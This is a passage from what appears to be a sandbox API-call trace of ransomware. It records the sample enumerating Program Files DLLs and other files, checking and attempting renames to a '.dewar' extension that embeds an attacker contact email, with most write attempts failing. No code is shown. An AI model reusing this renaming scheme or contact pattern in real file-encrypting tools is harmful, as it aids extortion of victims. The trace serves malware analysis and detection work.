Shared\\Web Folders\\MSOSV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll")) returned 0x20 [0243.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll")) returned 0x20 [0243.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.371] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=169637) returned 1 [0243.371] CloseHandle (hObject=0x1b0) returned 1 [0243.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 0x20 [0243.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 0x20 [0243.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.373] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2522488) returned 1 [0243.373] CloseHandle (hObject=0x1b0) returned 1 [0243.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll")) returned 0x20 [0243.373] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0243.373] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll")) returned 0 [0243.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.375] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1363344) returned 1 [0243.375] CloseHandle (hObject=0x1b0) returned 1 [0243.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll")) returned 0x20 [0243.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll")) returned 0x20 [0243.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.377] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2702) returned 1 [0243.377] CloseHandle (hObject=0x1b0) returned 1 [0243.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0243.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0243.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsfrontendenu.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.383] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=373760) returned 1 [0243.383] CloseHandle (hObject=0x1b0) returned 1 [0243.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsfrontendenu.dll")) returned 0x20 [0243.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsfrontendenu.dll")) returned 0x20 [0243.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsfrontendenu.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsfrontendenu.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.385] SetEvent (hEvent=0x118) returned 1 [0243.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.387] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2560) returned 1 [0243.387] CloseHandle (hObject=0x1b0) returned 1 [0243.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui")) returned 0x20 [0243.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui")) returned 0x20 [0243.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttscommon.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.388] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=41472) returned 1 [0243.389] CloseHandle (hObject=0x1b0) returned 1 [0243.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttscommon.dll")) returned 0x20 [0243.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttscommon.dll")) returned 0x20 [0243.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttscommon.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttscommon.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.390] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=181248) returned 1 [0243.391] CloseHandle (hObject=0x1b0) returned 1 [0243.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsengine.dll")) returned 0x20 [0243.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsengine.dll")) returned 0x20 [0243.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsengine.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsloc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.392] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=9728) returned 1 [0243.393] CloseHandle (hObject=0x1b0) returned 1 [0243.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsloc.dll")) returned 0x20 [0243.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsloc.dll")) returned 0x20 [0243.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsloc.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsloc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0243.511] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=14610) returned 1 [0243.512] CloseHandle (hObject=0xe0) returned 1 [0243.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0243.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0243.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.513] SetEvent (hEvent=0x118) returned 1 [0243.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0243.515] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=17408) returned 1 [0243.515] CloseHandle (hObject=0xe0) returned 1 [0243.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0243.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0243.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.518] SetEvent (hEvent=0x118) returned 1 [0243.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0243.519] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=8192) returned 1 [0243.519] CloseHandle (hObject=0xe0) returned 1 [0243.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0243.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0243.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0243.525] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1499136) returned 1 [0243.525] CloseHandle (hObject=0xe0) returned 1 [0243.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0243.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0243.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.526] SetEvent (hEvent=0x118) returned 1 [0243.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0243.527] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=69632) returned 1 [0243.527] CloseHandle (hObject=0xe0) returned 1 [0243.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0243.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0243.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0243.529] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=73728) returned 1 [0243.529] CloseHandle (hObject=0xe0) returned 1 [0243.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0243.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0243.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0243.531] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=94208) returned 1 [0243.531] CloseHandle (hObject=0xe0) returned 1 [0243.531] 